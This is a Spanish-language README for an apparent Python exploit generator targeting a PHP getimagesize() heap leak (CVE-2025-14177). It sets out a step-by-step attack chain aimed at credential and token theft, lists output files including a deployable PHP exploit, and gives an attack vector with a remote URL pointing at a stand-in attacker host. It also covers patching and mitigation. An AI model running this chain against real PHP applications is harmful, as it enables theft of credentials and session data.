
PHP getimagesize() CVE-2025-14177 - Generador de exploits de fuga de memoria en el heap Cadena de exploit completamente funcional en Python
| Campo | Valor |
|---|
| CVE | CVE-2025-14177 |
| CWE | CWE-524 (Uso de recurso no inicializado) |
| Gravedad | MODERADO — CVSS 6.3 |
| Causa raíz | php_read_stream_all_chunks() escribe fragmentos sucesivos en buffer[0], sobrescribiendo datos anteriores con memoria de heap no inicializada |
getimagesize("php://filter/.../resource=malicious.jpg", $info)
└─ php_read_stream_all_chunks()
├─ Chunk 1 (8KB) → memcpy(buffer+0, chunk1, 8192)
├─ Chunk 2 (8KB) → memcpy(buffer+0, chunk2, 8192) ← overwrites!
└─ $info['APP1'] = chunk2 + uninitialized heap garbage
Un JPEG malicioso lleva un marcador APP1 sobredimensionado (16 KB) para forzar la ruta de lectura de múltiples fragmentos. El campo APP1 devuelto filtra memoria del heap que puede contener credenciales, tokens, datos de sesión o punteros ASLR.
[1] RECON Encontrar app PHP que exponga la salida de getimagesize() (campo APP1)
[2] PREP Crear malicious.jpg (APP1 = 16 KB)
[3] EXPLOIT Subir → desencadenar getimagesize($file, $info)
[4] EXTRACT Analizar $info['APP1'] en busca de datos filtrados del heap
[5] IMPACT Robo de credenciales / extracción de tokens / omisión de ASLR
python3 CVE-2025-14177.py [mode]
| Modo | Acción |
|---|---|
demo | Demostración completa del exploit (predeterminado) |
gen | Generar JPEG malicioso + código PHP de exploit |
test | Generar JSON de casos de prueba |
analyze | Generar JPEG + simular + analizar fuga |
flow | Imprimir diagrama de flujo de ataque |
./exploit_output/)exploit_output/
├── malicious.jpg # payload JPEG manipulado (APP1 = 16 KB)
├── exploit_standalone.php # exploit PHP desplegable
├── exploit_report.json # informe de análisis completo
└── test_cases.json # 3 escenarios de prueba
| Caso | Vector |
|---|---|
| 1 | Carga directa → getimagesize($_FILES[...], $info) |
| 2 | Filtro de flujo + LFI (php://filter/read=.../resource=...) |
| 3 | URL de imagen remota (/preview.php?url=attacker.com/malicious.jpg) |
$infogetimagesize() con envoltorios php://filterActualice PHP a la versión parcheada. No hay solución alternativa: se requiere parche.
php -v # verificar versión
Si la actualización está bloqueada: elimine APP1 de $info antes de devolverlo al cliente, o deshabilite php://filter en allow_url_fopen.
Esta herramienta es solo para pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito por escrito es ilegal.